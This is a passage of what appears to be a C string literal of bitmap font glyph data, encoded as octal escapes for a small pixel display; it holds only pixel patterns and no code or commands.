\"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70|||\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\376\\376\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\377\\377\\377\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\360\\360\\20\\0\\0\\0\\0\\340\\370\\374\\376\\17\\7\\3\\377\\377\\377\\7\"\n  \"\\7\\17\\36\\4\\0\\7\\37\\77\\77x\\360\\374\\377\\377\\343\\340\\360px \\0\\0\\0\\0\\0\\0\\4\\17\\17\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360pppp\\360\\340\\340\\0\\0\\0\\70\\70\\377\\377\\377\\370\\70\\70\\70\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\340\\377\\377\\377\\357\\340\\340\\340\\300\\300\\300\\300\\340\\300\\0\\1\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\"\n  \"\\1\\1\\1\\0\\0\\0\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\0\\0\\0\\1\\373\\377\\376\\216\\7\\7\\7\\7\\216\\377\"\n  \"\\377s\\1\\0\\0\\4\\16\\7\\3\\3\\7\\7\\7\\7\\3\\7\\17\\16\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\20\\60\\360\\360\\340\\200\\0\\0\\0\\0\\0\\200\\340\\360\\360\\60\\0\\0\\200\\203\\207\\237\\277\\374\\360\\370\\376\\237\"\n  \"\\207\\203\\200\\0\\0\\0;;;;;\\377\\377\\377;;;;;\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\177\\177\\177\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\177\\177\\177\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\360\\370\\370<\\34\\34\\34<x\\370p \\0\\0\\0\\340\\373\\377\\337\\217\\16\\34\\34<\\370\"\n  \"\\370\\360\\0\\0\\0\\0\\300\\341\\303\\203\\7\\7\\7\\16\\236\\377\\377\\371\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\"\n  \"\\3\\1\\0\\0\\0\\0\\60xx\\60\\0\\0\\0\\60xx\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\340\\370\\34\\356\\367\\373\\71\\35\\35\\35\\35y\"\n  \"{\\67\\16<\\7\\37<y\\367\\357\\316\\334\\334\\334\\334\\316\\356\\366x>\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\60p\\70\\70\\70\\70x\\360\\360\\300\\0\\0\\0\\0\\0<~\\376\\347\\347\\347\\347w\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\16\\16\\16\\16\\16\\16\\16\\16\\16\\16\\16\\16\\16\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360x\\60\\200\\300\\340\\340\"\n  \"px\\60\\0\\0\\3\\7\\17\\37<xq#\\7\\17\\36<x\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0ppppppppppp\"\n  \"pp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\340\\370\\34\\6\\3\\377\\377\\315\\315\\315\\375\\371\"\n  \"\\373'\\16<\\7\\37>x\\360\\357\\317\\300\\300\\301\\307\\337\\354\\360p<\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0pppppppppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\360\\360x\\70\\70\\70\\370\\360\\340\\0\\0\\0\\0\\0\\0\\1\\7\\7\\17\\16\\16\\16\\17\\7\"\n  \"\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70\\70\\70\\70\\377\\377\\377\\70\\70\\70\"\n  \"\\70\\70\\70\\0\\300\\300\\300\\300\\300\\300\\317\\317\\317\\300\\300\\300\\300\\300\\300\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\1\\0\\0\\0\\0`\\360p\\70\\70\\70\\70\\370\\360\\340\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\374\\356\\347\\347\\343\"\n  \"\\341\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0 pp\\270\\270\\270\\270\\370\\360\\340\\0\\0\\0\\0\\0 px\\360\\343\\343\\343\\343\\347\\177\"\n  \"~\\34\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0`\\360\\374~\\34\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\376\\376\\0\\0\\0\\0\\0\\0\\376\\376\"\n  \"\\376\\0\\0\\0\\374\\377\\377\\377\\340\\300\\300\\300\\340\\374\\177\\377\\377\\300\\300\\340\\177\\177\\177\\0\\0\\1\\1\\1\\1\\0\\0\\0\"\n  \"\\1\\1\\1\\1\\0\\300\\360\\370\\370\\370\\374\\374\\374\\374\\34\\34\\374\\374\\374\\0\\0\\3\\17\\37\\37\\77\\77\\377\\377\\377\\0\\0\"\n  \"\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\"\n  \"\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\360\\360\\340\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60p`nnlx\"\n  \"\\70\\0\\0\\0\\0\\0\\0 `p\\60\\370\\370\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\340\\360x\\70\\70\\70x\\360\\340\\300\\0\\0\\0\\0\\0\\37\\77\\177\\360\\340\\340\\340\\360\\177\\77\"\n  \"\\17\\0\\0\\0\\0\\16\\16\\16\\16\\16\\16\\16\\16\\16\\16\\16\\16\\16\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60x\\360\\340\\300\\200\\60x\\360\\340\"\n  \"\\300\\300\\200\\0\\0 px<\\37\\17\\7\\63x<\\36\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\30\\30\\374\\374\\374\\0\\0\\0\\0\\0\\300\\360\\374\\70\\10\\0\\0\\0\\17\\17\\17\\0\\300\\360\\374\\77\\17\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\360\\374\\77\\17\\303\\340\\360\\334\\316\\377\\377\\300\\300\\0\\1\\1\\3\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\7\\7\\0\\0\\30\\30\\374\\374\\374\\0\\0\\0\\0\\200\\340\\370x\\30\\0\\0\\0\\0\\17\\17\\17\\0\\300\\370\\376\\37\\7\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\360\\374\\77\\17\\3\\14\\14\\206\\306\\346~>\\34\\0\\1\\3\\3\\0\\0\\0\\0\\6\\7\\7\\6\"\n  \"\\6\\6\\6\\6\\14\\16nff~\\374\\230\\0\\0\\200\\340\\370~\\34\\0\\7\\17\\14\\14\\14\\16\\207\\343\\370~\\37\\7\"\n  \"\\1\\0\\0\\0\\0\\0\\200\\340\\370~\\37\\307\\341\\360\\370\\334\\316\\377\\377\\300\\0\\0\\1\\3\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\7\\7\\0\\0\\0\\0\\0\\0\\70|||\\70\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\360~>\\36\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\37\\177\\377\\373\\340\\300\\300\\300\\300\\340\\360\\370p \\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\201\\341\\371\\363\\303\\3\\0\\0\\0\\0\\0\\0\\0\\200\\340\\374\\377\\217\\203\\217\\277\\376\\370\"\n  \"\\300\\0\\0\\0\\340\\374\\377\\37\\3\\3\\3\\3\\3\\3\\3\\17\\77\\377\\370\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\203\\343\\371\\361\\301\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\374\\377\\217\\203\\217\\277\\376\\370\"\n  \"\\300\\0\\0\\0\\340\\374\\377\\37\\3\\3\\3\\3\\3\\3\\3\\17\\77\\377\\370\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\4\\16\\17\\7\\303\\363\\343\\207\\17\\16\\4\\0\\0\\0\\0\\0\\0\\300\\370\\377\\37\\7\\37\\177\\374\\360\"\n  \"\\200\\0\\0\\0\\300\\370\\377\\77\\7\\7\\7\\7\\7\\7\\7\\37\\177\\376\\360\\300\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\1\\1\\1\\0\\0\\0\\1\\1\\0\\300\\361\\341\\203\\3\\3\\1\\0\\0\\0\\0\\0\\0\\300\\370\\377\\37\\7\\37\\177\\374\\360\"\n  \"\\200\\0\\0\\0\\300\\370\\377\\77\\7\\7\\7\\7\\7\\7\\7\\37\\177\\376\\360\\300\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\1\\1\\1\\0\\0\\1\\3\\3\\1\\340\\360\\340\\1\\3\\3\\1\\0\\0\\0\\0\\0\\0\\340\\374\\177\\37\\3\\37\\177\\374\\340\"\n  \"\\200\\0\\0\\0\\340\\370\\377\\77\\7\\7\\7\\7\\7\\7\\7\\37\\377\\376\\360\\300\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\1\\1\\1\\0\\0\\0\\0\\3\\7\\354\\374\\354\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\340\\374\\177\\17\\3\\17\\177\\374\\360\"\n  \"\\200\\0\\0\\0\\340\\374\\377\\37\\7\\7\\7\\7\\7\\7\\7\\37\\177\\376\\360\\300\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\1\\1\\1\\0\\0\\0\\0\\0\\300\\360\\360\\360\\360\\360ppppp\\0\\0\\200\\360\\376\\377\\17\\1\\377\\377\\377p\"\n  \"pppp\\340\\374\\377\\77\\17\\16\\16\\16\\377\\377\\377\\300\\300\\300\\300\\300\\1\\1\\1\\0\\0\\0\\0\\0\\1\\1\\1\\1\"\n  \"\\1\\1\\1\\1\\0\\0\\200\\300\\340\\340\\360pppp\\340\\340\\300\\200\\0\\374\\377\\377\\277\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\3\\3\\3\\1\\7\\37\\77\\177\\370\\360\\340\\300\\300\\300\\300\\340\\360p\\60\\0\\0\\0\\0\\0 \\60aaoo}\\70\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\360qqqssswpppp\\0\\0\\377\\377\\377pppppppp\"\n  \"pp\\0\\0\\0\\377\\377\\377\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\1\\0\\0\\360\\360\\360prwsssqqqpp\\0\\0\\377\\377\\377pppppppp\"\n  \"pp\\0\\0\\0\\377\\377\\377\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\1\\0\\0\\360\\360\\366~wssqsw\\177vpp\\0\\0\\377\\377\\377pppppppp\"\n  \"pp\\0\\0\\0\\377\\377\\377\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\1\\0\\0\\360\\360\\361ssqppqssqpp\\0\\0\\377\\377\\377pppppppp\"\n  \"p\\0\\0\\0\\0\\377\\377\\377\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\1\\0\\0\\0ppqq\\361\\363\\363swppp\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\377\\377\\377\\300\\300\\300\\300\\300\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\0\\0\\0\\0ppps\\367\\363\\363sqqqp\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\377\\377\\377\\300\\300\\300\\300\\300\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\0\\0\\0\\0pvww\\363\\363\\363sw\\177vp\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\377\\377\\377\\300\\300\\300\\300\\300\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\0\\0\\0\\0pqss\\361\\360\\360qssqp\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\"\n  